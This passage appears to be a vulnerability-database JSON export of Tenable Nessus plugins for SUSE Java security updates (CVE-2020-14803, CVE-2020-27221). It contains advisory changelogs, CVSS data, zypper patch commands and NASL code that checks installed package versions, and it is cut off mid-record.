ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 5.3, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}, "published": "2021-03-02T00:00:00", "title": "SUSE SLES15 Security Update : java-1_8_0-openjdk (SUSE-SU-2021:0665-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-14803"], "modified": "2021-03-02T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debugsource", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo-debuginfo", "cpe:/o:novell:suse_linux:15", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk"], "id": "SUSE_SU-2021-0665-1.NASL", "href": "https://www.tenable.com/plugins/nessus/146941", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2021:0665-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146941);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/04\");\n\n script_cve_id(\"CVE-2020-14803\");\n\n script_name(english:\"SUSE SLES15 Security Update : java-1_8_0-openjdk (SUSE-SU-2021:0665-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_8_0-openjdk fixes the following issues :\n\nUpdate to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-14803/\"\n );\n # https://www.suse.com/support/update/announcement/2021/suse-su-20210665-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?42bb65ed\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Manager Server 4.0 :\n\nzypper in -t patch SUSE-SLE-Product-SUSE-Manager-Server-4.0-2021-665=1\n\nSUSE Manager Retail Branch Server 4.0 :\n\nzypper in -t patch\nSUSE-SLE-Product-SUSE-Manager-Retail-Branch-Server-4.0-2021-665=1\n\nSUSE Manager Proxy 4.0 :\n\nzypper in -t patch SUSE-SLE-Product-SUSE-Manager-Proxy-4.0-2021-665=1\n\nSUSE Linux Enterprise Server for SAP 15-SP1 :\n\nzypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP1-2021-665=1\n\nSUSE Linux Enterprise Server for SAP 15 :\n\nzypper in -t patch SUSE-SLE-Product-SLES_SAP-15-2021-665=1\n\nSUSE Linux Enterprise Server 15-SP1-LTSS :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-SP1-LTSS-2021-665=1\n\nSUSE Linux Enterprise Server 15-SP1-BCL :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-SP1-BCL-2021-665=1\n\nSUSE Linux Enterprise Server 15-LTSS :\n\nzypper in -t patch SUSE-SLE-Product-SLES-15-2021-665=1\n\nSUSE Linux Enterprise Module for Legacy Software 15-SP3 :\n\nzypper in -t patch SUSE-SLE-Module-Legacy-15-SP3-2021-665=1\n\nSUSE Linux Enterprise Module for Legacy Software 15-SP2 :\n\nzypper in -t patch SUSE-SLE-Module-Legacy-15-SP2-2021-665=1\n\nSUSE Enterprise Storage 6 :\n\nzypper in -t patch SUSE-Storage-6-2021-665=1\n\nSUSE CaaS Platform 4.0 :\n\nTo install this update, use the SUSE CaaS Platform 'skuba' tool. I\nwill inform you if it detects new updates and let you then trigger\nupdating of the complete cluster in a controlled way.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/02\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0|1|2|3)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0/1/2/3\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"3\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", cpu:\"s390x\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-3.48.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"2\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-3.48.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_8_0-openjdk\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-03-04T07:14:00", "description": "This update for java-1_8_0-ibm fixes the following issues :\n\nUpdate to Java 8.0 Service Refresh 6 Fix Pack 25 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-03-01T00:00:00", "title": "SUSE SLES12 Security Update : java-1_8_0-ibm (SUSE-SU-2021:0652-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803"], "modified": "2021-03-01T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-devel", "cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-plugin", "p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-alsa"], "id": "SUSE_SU-2021-0652-1.NASL", "href": "https://www.tenable.com/plugins/nessus/146889", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2021:0652-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146889);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/03\");\n\n script_cve_id(\"CVE-2020-14803\", \"CVE-2020-27221\");\n\n script_name(english:\"SUSE SLES12 Security Update : java-1_8_0-ibm (SUSE-SU-2021:0652-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_8_0-ibm fixes the following issues :\n\nUpdate to Java 8.0 Service Refresh 6 Fix Pack 25 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1182186\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-14803/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-27221/\"\n );\n # https://www.suse.com/support/update/announcement/2021/suse-su-20210652-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?7d994256\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-9-2021-652=1\n\nSUSE OpenStack Cloud Crowbar 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-8-2021-652=1\n\nSUSE OpenStack Cloud 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-9-2021-652=1\n\nSUSE OpenStack Cloud 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-8-2021-652=1\n\nSUSE OpenStack Cloud 7 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-7-2021-652=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SDK-12-SP5-2021-652=1\n\nSUSE Linux Enterprise Server for SAP 12-SP4 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP4-2021-652=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP3-2021-652=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP2-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP5-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP4-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP4-LTSS-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-BCL-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-2021-652=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-BCL-2021-652=1\n\nHPE Helion Openstack 8 :\n\nzypper in -t patch HPE-Helion-OpenStack-8-2021-652=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-alsa\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/01\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(2|3|4|5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP2/3/4/5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", 